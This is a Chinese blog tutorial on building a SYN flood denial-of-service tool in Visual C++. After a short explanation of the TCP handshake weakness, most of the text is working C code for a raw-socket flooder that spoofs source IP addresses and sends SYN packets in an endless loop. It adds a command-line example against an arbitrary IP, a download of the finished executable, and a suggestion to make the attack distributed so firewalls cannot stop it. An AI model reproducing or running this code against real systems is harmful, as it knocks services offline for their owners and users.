用VC实现洪水攻击程序

本文为原创,如需转载,请注明作者和出处,谢谢!

一、             什么是洪水攻击

洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。

在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的数据包,而无法处理正常的数据包。在攻击过程中,目标机器的CPU的使用率将高于正常值,有时甚至会达到100%。这样将使目标机器的性能急剧下降。这有些象我们在日常生活中的电话,如果要使某个电话瘫痪,就不停地拨这个电话的号码,那么其它的电话就无法拨通这个电话,当然,要想不接到骚扰电话,唯一的方法是将电话线拔了。同样,要想计算机完全避免洪水攻击的唯一方法,就是不让这台计算机上网,更直接的就是将网线拔了。

二、             洪水攻击的原理

洪水攻击也称为拒绝服务攻击。可以有很多种方式进行这种攻击,本文主要讨论比较常用的利用TCP三次握手的漏洞来耗尽计算机资源的方式来进行攻击。

那么什么是TCP的三次握手呢?其实原理很简单。这要从TCP的连接过程说起。我们一般使用Socket API来进行TCP连接。要做的只是将IP或计算机名以及端口号传入connect函数,如果参数正确,目标机器的服务可用的话,这个TCP连接就会成功。之所以连接这么方便,是因为Socket API已经将一些底层的操作隐藏了起来。那么这里面究竟发生了什么呢?

我们由网络7层可知,在TCP所在的传输层下面是网络层,在这一层最有代表性的协议就是IP协议。而TCP数据包就是通过IP协议传输的。这就是我们为什么经常说TCP/IP协议的缘故。TCP在底层的连接并不是这么简单。在真正建立连接之前,必须先进行验证。那么如何验证呢?

假设有两台机器ABA使用TCP协议连接B,在建立连接之前,A先发一个报文给BB在接收到这个数据包后,利用报文中的源地址(也就是AIP)再给A发一个报文,A在接到这个报文后,又给B发了一个报文,B如果成功接到这个报文后,就正式和A建立TCP连接。过程示意如图1所示:


1 TCP连接的三次握手

问题就出在第二次握手上。正常情况下,报文的源地址应该是AIP,但如果是一个非法报文的话,报文的源地址可能并不是AIP,也许就是一个并不存在的IP。如果是这样,那在第二次握手时,B也就无法找到A了,这当然就不可能发生第三次握手。因为,B找不到A,而A又迟迟得不到B的回信,这样TCP就无法连接。但攻击者的目的并不是要建立TCP连接,而是要耗尽B的资源。由于B找不到AB也就无法得到A的回信,如果这种情况发生,B并不会将在第一次握手中建立的资源马上释放,而会有一个超时,假设这个时间是10秒。如果A在这10秒内向B发送10000个这样的连接数据包,就意味着B要维护这10000个连接资源。如果过了10秒,B释放了这些资源,A在下一个10称还会发10000个连接包。如果A不断地发这样数据包,就意味着B将永远要维护这10000个连接,因此,BCPU和内存将被耗尽,至少也得被占用大部分。所以B就无法响应其它机器的请求,或者是响应迟缓。

洪水攻击的实现

在上一部分我们讨论了洪水攻击原理,在这一部分我将给出一个完成的实例说明如何使用C语言来设计洪水攻击程序。

由于报文是用IP协议发送的,因此,我们需要自己定义IP数据包的数据结构,这样我们就可以任意修改IP数据包的内容了。下面是IP协议的数据结构。

typedef  struct  _iphdr    // 定义IP首部 

  unsigned 
char  h_verlen;   // 4位首部长度,4位IP版本号 
  unsigned  char  tos;   // 8位服务类型TOS 
  unsigned  short  total_len;   // 16位总长度(字节) 
  unsigned  short  ident;   // 16位标识 
  unsigned  short  frag_and_flags;   // 3位标志位 
  unsigned  char  ttl;  // 8位生存时间 TTL 
  unsigned  char  proto;  // 8位协议 (TCP, UDP 或其他) 
  unsigned  short  checksum;  // 16位IP首部校验和 
  unsigned  int  sourceIP;  // 32位源IP地址 
  unsigned  int  destIP;  // 32位目的IP地址 
} IP_HEADER;

这个结构比较复杂,我们只看其中3个,其余的成员可以参考《TCP/IP详解1:协议》的相关部分。最后两个成员sourceIPdestIP就是上述所说的ABIP。而最重要的就是checksum,这个参数是一个验证码,用于验证发送的IP数据包的正确性,我们把这个验证码称为校验和。计算它的函数如下:

USHORT checksum(USHORT  * buffer,  int  size) 

unsigned 
long  cksum = 0 ;  
  
while (size  > 1

  cksum
+=* buffer ++
size 
-= sizeof (USHORT); 
  } 
  
if (size ) 

  cksum 
+=   * (UCHAR * )buffer; 
  } 
  cksum 
=  (cksum  >>   16 +  (cksum  &   0xffff ); 
  cksum 
+=  (cksum  >> 16 ); 
  
return  (USHORT)( ~ cksum); 
}

看了上面的代码也许会有很多疑问,下面我就简单描述一下如何计算机IP数据包的校验和。IP数据包的校验和是根据IP首部计算机出来的,而并不对IP数据包中的数据部分进行计算。为了计算一个数作为校验和,首先把校验和字段赋为0。然后,对首部中每个16位进行二进制白马反码求和(我们可以将整个IP首部看成是由一组16位的字组成),将结果保存在校验和字段中。当收到一份IP数据报后,同样对首部中每个16位进行二进制反码的求和。由于接收方在计算机过程中包含了发送方存在首部的校验和,因此,如果首部在传输过程中没有发生任何差错,那么接收方计算的结果应该全是1.如果结果不全是1(即校验和错误),那么IP就丢弃收到的数据报。但不生成差错报文,由上层(如TCP协议)去发现丢失的数据报并进行重传。

由于我们要发送假的TCP连接包,因此,为分别定义一个伪TCP首部和真正的TCP首部。

struct    // 定义TCP伪首部 

  unsigned 
long  saddr;  // 源地址 
  unsigned  long  daddr;  // 目的地址 
   char  mbz; 
  
char  ptcl;  // 协议类型 
  unsigned  short  tcpl;  // TCP长度 
}  psd_header; 

typedef 
struct  _tcphdr   // 定义TCP首部 

  USHORT th_sport; 
// 16位源端口 
  USHORT th_dport;  // 16位目的端口 
  unsigned  int  th_seq;  // 32位序列号 
  unsigned  int  th_ack;  // 32位确认号 
  unsigned  char  th_lenres; // 4位首部长度/6位保留字 
  unsigned  char  th_flag; // 6位标志位 
  USHORT th_win;  // 16位窗口大小 
  USHORT th_sum;  // 16位校验和 
  USHORT th_urp;  // 16位紧急数据偏移量 
} TCP_HEADER;

在以上的准备工作都完成后,就可以写main函数中的内容了。下面是程序的定义部分。

#include  < winsock2.h >  
#include 
< Ws2tcpip.h >  
#include 
< stdio.h >  
#include 
< stdlib.h >  
#define  SEQ 0x28376839 
#define  SYN_DEST_IP "127.0.0.1" // 被攻击的默认IP 
#define  FAKE_IP "10.168.150.1"  // 伪装IP的起始值,可以是任意IP 
#define  STATUS_FAILED 0xFFFF // 错误返回值
int  main( int  argc,  char   ** argv) 

  
int  datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost; 
  
int  TimeOut = 2000 ,SendSEQ = 0
  
char  SendBuf[ 128 ];   //  每个数据包是128个字节
   char  DestIP[ 16 ];   //  要攻击的机器IP,在这里就是B的IP
  memset(DestIP,  0 4 );  
//  如果通过参数输入个IP,将DestIP赋为这IP,否则SYN_DEST_IP赋给DestIP
   if (argc  <   2 )  
     strcpy(DestIP, SYN_DEST_IP);
  
else
     strcpy(DestIP, argv[
1 ]);
  
//  以下是声明Socket变量和相应的数据结构
  WSADATA wsaData; 
  SOCKET SockRaw
= (SOCKET)NULL; 
  
struct  sockaddr_in DestAddr; 
  IP_HEADER ip_header; 
  TCP_HEADER tcp_header;
… …
}

下一步就是初始化Raw Socket

  // 初始化SOCK_RAW 
   if ((ErrorCode = WSAStartup(MAKEWORD( 2 , 1 ), & wsaData)) != 0 )   //  使用Socket2.x版本

      fprintf(stderr,
" WSAStartup failed: %d\n " ,ErrorCode); 
      ExitProcess(STATUS_FAILED); 
  }  
SockRaw
= WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL, 0 ,WSA_FLAG_OVERLAPPED); 
if  (SockRaw == INVALID_SOCKET)   //  如果建立Socket错误,输出错误信息

  fprintf(stderr,
" WSASocket() failed: %d\n " ,WSAGetLastError()); 
  ExitProcess(STATUS_FAILED);
  }

 第二步就是填充刚才定义的那些数据结构

// 设置IP_HDRINCL以自己填充IP首部 
  ErrorCode = setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,( char   * ) & flag, sizeof ( int )); 
if  (ErrorCode == SOCKET_ERROR)printf( " Set IP_HDRINCL Error!\n " ); 
  __try{ 
  
// 设置发送超时 

  ErrorCode
= setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,( char * ) & TimeOut, sizeof (TimeOut)); 
if (ErrorCode == SOCKET_ERROR)

   fprintf(stderr,
" Failed to set send TimeOut: %d\n " ,WSAGetLastError()); 
  __leave; 
  } 
  memset(
& DestAddr, 0 , sizeof (DestAddr)); 
  DestAddr.sin_family
= AF_INET; 
  DestAddr.sin_addr.s_addr
= inet_addr(DestIP); 
  FakeIpNet
= inet_addr(FAKE_IP); 
  FakeIpHost
= ntohl(FakeIpNet); 
  
// 填充IP首部 
  ip_header.h_verlen = ( 4 << 4   |   sizeof (ip_header) / sizeof (unsigned  long )); 
// 高四位IP版本号,低四位首部长度 
  ip_header.total_len = htons( sizeof (IP_HEADER) + sizeof (TCP_HEADER));  // 16位总长度(字节) 
  ip_header.ident = 1 // 16位标识 
  ip_header.frag_and_flags = 0 // 3位标志位 
  ip_header.ttl = 128 // 8位生存时间TTL 
  ip_header.proto = IPPROTO_TCP; // 8位协议(TCP,UDP…) 
  ip_header.checksum = 0 ; // 16位IP首部校验和 
  ip_header.sourceIP = htonl(FakeIpHost + SendSEQ); // 32位源IP地址 
  ip_header.destIP = inet_addr(DestIP);  // 32位目的IP地址 
  
// 填充TCP首部 
  tcp_header.th_sport = htons( 7000 ); // 源端口号 
  tcp_header.th_dport = htons( 8080 ); // 目的端口号 
  tcp_header.th_seq = htonl(SEQ + SendSEQ); // SYN序列号 
  tcp_header.th_ack = 0 // ACK序列号置为0 
  tcp_header.th_lenres = ( sizeof (TCP_HEADER) / 4 << 4 | 0 ); // TCP长度和保留位 
  tcp_header.th_flag = 2 // SYN 标志 
  tcp_header.th_win = htons( 16384 );  // 窗口大小 
  tcp_header.th_urp = 0 // 偏移 
  tcp_header.th_sum = 0 // 校验和 
  
// 填充TCP伪首部(用于计算校验和,并不真正发送) 
  psd_header.saddr = ip_header.sourceIP; // 源地址 
  psd_header.daddr = ip_header.destIP; // 目的地址 
  psd_header.mbz = 0
  psd_header.ptcl
= IPPROTO_TCP; // 协议类型 
  psd_header.tcpl = htons( sizeof (tcp_header)); // TCP首部长度

  最后一步是通过一个while循环发送向目标机器发送报文
  
while ( 1 )
 { 

  
// 每发送10000个报文输出一个标示符 
  printf( " . " ); 
  
for (counter = 0 ;counter < 10000 ;counter ++ ){ 
  
if (SendSEQ ++== 65536 ) SendSEQ = 1 ; // 序列号循环 
  
// 更改IP首部 
  ip_header.checksum = 0 ; // 16位IP首部校验和 
  ip_header.sourceIP = htonl(FakeIpHost + SendSEQ); // 32位源IP地址 
  
// 更改TCP首部 
  tcp_header.th_seq = htonl(SEQ + SendSEQ); // SYN序列号 
  tcp_header.th_sum = 0 // 校验和 
  
// 更改TCP Pseudo Header 
  psd_header.saddr = ip_header.sourceIP; 
  
// 计算TCP校验和,计算校验和时需要包括TCP pseudo header 
  memcpy(SendBuf, & psd_header, sizeof (psd_header)); 
  memcpy(SendBuf
+ sizeof (psd_header), & tcp_header, sizeof (tcp_header)); 
  tcp_header.th_sum
= checksum((USHORT * )SendBuf, sizeof (psd_header) + sizeof (tcp_header)); 
  
// 计算IP校验和 
  memcpy(SendBuf, & ip_header, sizeof (ip_header)); 
  memcpy(SendBuf
+ sizeof (ip_header), & tcp_header, sizeof (tcp_header)); 
  memset(SendBuf
+ sizeof (ip_header) + sizeof (tcp_header), 0 , 4 ); 
  datasize
= sizeof (ip_header) + sizeof (tcp_header); 
  ip_header.checksum
= checksum((USHORT  * )SendBuf,datasize); 
  
// 填充发送缓冲区 
  memcpy(SendBuf, & ip_header, sizeof (ip_header)); 
  
// 发送TCP报文 
  ErrorCode = sendto(SockRaw,  SendBuf,  datasize,   0 ,   ( struct  sockaddr * & DestAddr, 
  
sizeof (DestAddr)); 
if  (ErrorCode == SOCKET_ERROR) printf( " \nSend Error:%d\n " ,GetLastError()); 
}
}

到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。



2 攻击软件运行界面


3 CPU已经100%

    3是我使用本机测试的结果,如果通过局域网攻击其它的机器,CPU未必能达到100%,但至少也在50%以上,可以使目标机器明显变慢。如果我们通过其它的黑客技术将这个程序改成分布式的洪水攻击,并降低每个单机攻击的频率。这样就算是再好的防火墙也无法防御。除非对方使用蜜罐等手段隐藏或设置虚假IP,否则这种最原始的攻击手段都会奏效。

源代码下载

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值